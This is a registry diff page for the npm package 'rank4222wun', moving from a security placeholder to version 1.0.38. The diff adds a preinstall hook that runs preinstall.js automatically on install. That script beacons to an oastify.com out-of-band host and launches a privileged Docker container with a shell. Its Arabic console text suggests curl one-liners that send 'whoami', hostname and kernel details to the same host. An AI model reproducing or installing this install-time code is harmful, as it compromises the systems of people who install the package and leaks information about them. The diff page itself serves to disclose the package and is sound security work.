rank4222wun 0.0.1-security → 1.0.38
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +137 -0
- package/rank4222wun-1.0.38.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.38",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,137 @@
|
|
|
1
|
+
// privileged-container-oast-simple.js
|
|
2
|
+
const { spawn, exec } = require('child_process');
|
|
3
|
+
const crypto = require('crypto');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
const OAST_DOMAIN = 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com';
|
|
7
|
+
|
|
8
|
+
console.log(`
|
|
9
|
+
╔════════════════════════════════════════════════════╗
|
|
10
|
+
║ PRIVILEGED CONTAINER + OAST ║
|
|
11
|
+
║ ║
|
|
12
|
+
║ OAST Domain : ${OAST_DOMAIN} ║
|
|
13
|
+
╚════════════════════════════════════════════════════╝
|
|
14
|
+
`);
|
|
15
|
+
|
|
16
|
+
function generateSessionId() {
|
|
17
|
+
const timestamp = Date.now();
|
|
18
|
+
const random = crypto.randomBytes(6).toString('hex');
|
|
19
|
+
return `sess-${timestamp}-${random}`;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
const sessionId = generateSessionId();
|
|
23
|
+
const uniqueSub = crypto.randomBytes(4).toString('hex'); // لعمل subdomain فريد
|
|
24
|
+
|
|
25
|
+
console.log(`Session ID : ${sessionId}`);
|
|
26
|
+
console.log(`Unique subdomain : ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
|
|
27
|
+
|
|
28
|
+
function sendSimpleHttpsBeacon(path = '/start', extraData = {}) {
|
|
29
|
+
const data = JSON.stringify({
|
|
30
|
+
session: sessionId,
|
|
31
|
+
ts: new Date().toISOString(),
|
|
32
|
+
type: 'beacon',
|
|
33
|
+
...extraData
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
const options = {
|
|
37
|
+
hostname: OAST_DOMAIN,
|
|
38
|
+
port: 443,
|
|
39
|
+
path: path,
|
|
40
|
+
method: 'POST',
|
|
41
|
+
headers: {
|
|
42
|
+
'Content-Type': 'application/json',
|
|
43
|
+
'Content-Length': Buffer.byteLength(data),
|
|
44
|
+
'User-Agent': 'PrivContainerTest/1.0',
|
|
45
|
+
'X-Session': sessionId
|
|
46
|
+
}
|
|
47
|
+
};
|
|
48
|
+
|
|
49
|
+
const req = https.request(options, (res) => {
|
|
50
|
+
res.on('data', () => {}); // نكتفي بالرد
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
req.on('error', (e) => {
|
|
54
|
+
console.log(`[beacon error] ${e.message}`);
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
req.write(data);
|
|
58
|
+
req.end();
|
|
59
|
+
|
|
60
|
+
console.log(`→ HTTPS beacon sent to https://${OAST_DOMAIN}${path}`);
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
// إرسال إشارة بداية من الـ host نفسه
|
|
64
|
+
sendSimpleHttpsBeacon('/start', { action: 'script_started' });
|
|
65
|
+
|
|
66
|
+
// ────────────────────────────────────────────────
|
|
67
|
+
|
|
68
|
+
console.log(`
|
|
69
|
+
تشغيل الحاوية المميزة الآن...
|
|
70
|
+
(إضغط Ctrl+C للإنهاء - سيظهر تنظيف بسيط)
|
|
71
|
+
|
|
72
|
+
أوامر مفيدة نفذها داخل الحاوية لاختبار الـ OAST:
|
|
73
|
+
|
|
74
|
+
1. اختبار DNS (أكثر موثوقية):
|
|
75
|
+
nslookup ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
|
|
76
|
+
|
|
77
|
+
أو (إذا ما فيش nslookup):
|
|
78
|
+
ping -c 1 -W 1 ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
|
|
79
|
+
|
|
80
|
+
2. اختبار HTTP/HTTPS بسيط:
|
|
81
|
+
curl -s "https://${OAST_DOMAIN}/ping?session=${sessionId}&from=container" || true
|
|
82
|
+
|
|
83
|
+
3. إرسال معلومات سريعة (مثال):
|
|
84
|
+
whoami | curl -d @- "https://${OAST_DOMAIN}/whoami?session=${sessionId}"
|
|
85
|
+
|
|
86
|
+
4. إرسال hostname + kernel:
|
|
87
|
+
(echo "host=$(hostname) kernel=$(uname -r)" | curl -d @- "https://${OAST_DOMAIN}/info?session=${sessionId}") || true
|
|
88
|
+
|
|
89
|
+
ملاحظة: ubuntu:latest قد لا تحتوي curl افتراضياً في بعض الإصدارات المصغرة.
|
|
90
|
+
إذا لم يعمل curl → جرب:
|
|
91
|
+
apt update && apt install -y curl 2>/dev/null || true
|
|
92
|
+
|
|
93
|
+
جاري التشغيل...
|
|
94
|
+
`);
|
|
95
|
+
|
|
96
|
+
// ────────────────────────────────────────────────
|
|
97
|
+
|
|
98
|
+
const dockerArgs = [
|
|
99
|
+
'run',
|
|
100
|
+
'--privileged',
|
|
101
|
+
'-it',
|
|
102
|
+
'--rm',
|
|
103
|
+
'--name', `priv-test-${sessionId.slice(0,12)}`,
|
|
104
|
+
'ubuntu:latest',
|
|
105
|
+
'/bin/bash'
|
|
106
|
+
];
|
|
107
|
+
|
|
108
|
+
const container = spawn('docker', dockerArgs, {
|
|
109
|
+
stdio: 'inherit'
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
container.on('error', (err) => {
|
|
113
|
+
console.error(`خطأ في تشغيل docker: ${err.message}`);
|
|
114
|
+
process.exit(1);
|
|
115
|
+
});
|
|
116
|
+
|
|
117
|
+
container.on('close', (code) => {
|
|
118
|
+
console.log(`\nالحاوية انتهت (exit code: ${code})\n`);
|
|
119
|
+
|
|
120
|
+
// إشارة نهاية
|
|
121
|
+
sendSimpleHttpsBeacon('/end', {
|
|
122
|
+
action: 'container_exited',
|
|
123
|
+
exit_code: code
|
|
124
|
+
});
|
|
125
|
+
|
|
126
|
+
console.log(`\nتحقق من لوحة الـ OAST الخاصة بك على:\n`);
|
|
127
|
+
console.log(` https://${OAST_DOMAIN}`);
|
|
128
|
+
console.log(` ابحث عن: ${sessionId}\n`);
|
|
129
|
+
console.log(`أو subdomain: ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
// التعامل مع Ctrl+C
|
|
133
|
+
process.on('SIGINT', () => {
|
|
134
|
+
console.log('\nإغلاق... (Ctrl+C مرة أخرى للخروج فوراً)');
|
|
135
|
+
container.kill('SIGINT');
|
|
136
|
+
setTimeout(() => process.exit(0), 1500);
|
|
137
|
+
});
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|